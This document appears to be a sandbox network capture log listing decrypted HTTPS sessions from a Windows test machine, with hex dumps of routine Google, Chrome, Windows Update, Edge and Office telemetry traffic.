2024-11-15 15:16:12 UTC	291	IN	Data Raw: 31 31 63 0d 0a 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 Data Ascii: 11c\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Md\u003dglobalThis.tr
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 4f 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4e 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6c 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 50 64 5c 75 30 30 33 64 5b 4c 64 28 5c 22 64 61 74 61 5c 22 29 2c 4c 64 28 5c 22 68 74 74 70 5c 22 29 2c 4c 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 4c 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 4c 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 4b 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e Data Ascii: 8000ctor(a){this.i\u003da}toString(){return this.i}};_.Od\u003dnew _.Nd(\"about:invalid#zClosurez\");_.Kd\u003dclass{constructor(a){this.lh\u003da}};_.Pd\u003d[Ld(\"data\"),Ld(\"http\"),Ld(\"https\"),Ld(\"mailto\"),Ld(\"ftp\"),new _.Kd(a\u003d\u003e/^[^
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 65 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 Data Ascii: cument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.ee\u003dfunction(a){var b\u003d_.Pa(a);return b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	142.250.186.164	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:12 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-15 15:16:12 UTC	933	IN	HTTP/1.1 200 OK Version: 695623535 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 15 Nov 2024 15:16:12 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-15 15:16:12 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-15 15:16:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49723	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:17 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-15 15:16:17 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=178152 Date: Fri, 15 Nov 2024 15:16:17 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49724	142.250.186.142	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:17 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 912 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-15 15:16:17 UTC	912	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 36 38 33 37 37 34 36 35 34 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731683774654",null,null,null,
2024-11-15 15:16:17 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=3g8i8Zo-9023x3zE89D7jYZsKrxl0_11vc9f-_YPqYdZvWGHUUR9mLkiJMjzSKgdGvkqeZu2jbV2LpDAqVlcYKdJqaq9eJgssI_44-FZOhjJLVPXhKVD0KZz_YPR33mwRfyAvysyuRpDGpFYkmqJSQW7W9ZrVjAjahtlHC51wNpvlkMofyKhI9qg; expires=Sat, 17-May-2025 15:16:17 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 15 Nov 2024 15:16:17 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 15 Nov 2024 15:16:17 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-15 15:16:17 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-15 15:16:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49730	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:18 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-15 15:16:18 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=178164 Date: Fri, 15 Nov 2024 15:16:18 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-15 15:16:18 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49732	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:21 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XY33fgKV3AaPfLb&MD=S5gemAFW HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-15 15:16:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 52863cc8-16d7-40e4-8548-e0ce73a927eb MS-RequestId: 03542055-a273-42c8-8328-f23498fa3526 MS-CV: lU/jNElYNUyMUKGC.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 15 Nov 2024 15:16:21 GMT Connection: close Content-Length: 24490
2024-11-15 15:16:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-15 15:16:21 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49741	94.245.104.56	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:23 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:23 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Fri, 15 Nov 2024 15:16:23 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=669e5d63f834ba1a072bdb5fc0556584be42d71c1d6957cb98615f4df78b3341;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=669e5d63f834ba1a072bdb5fc0556584be42d71c1d6957cb98615f4df78b3341;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:23 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:23 UTC	492	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:23 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 14 Nov 2024 16:27:56 GMT ETag: "0x8DD04C94BD1CD28" x-ms-request-id: 95228c9c-001e-008d-1ac3-36d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151623Z-1866b5c5fbbvz6qbhC1DFWsyms00000000kg00000000kbea x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:23 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-15 15:16:23 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-15 15:16:23 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-15 15:16:23 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-15 15:16:23 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-15 15:16:23 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
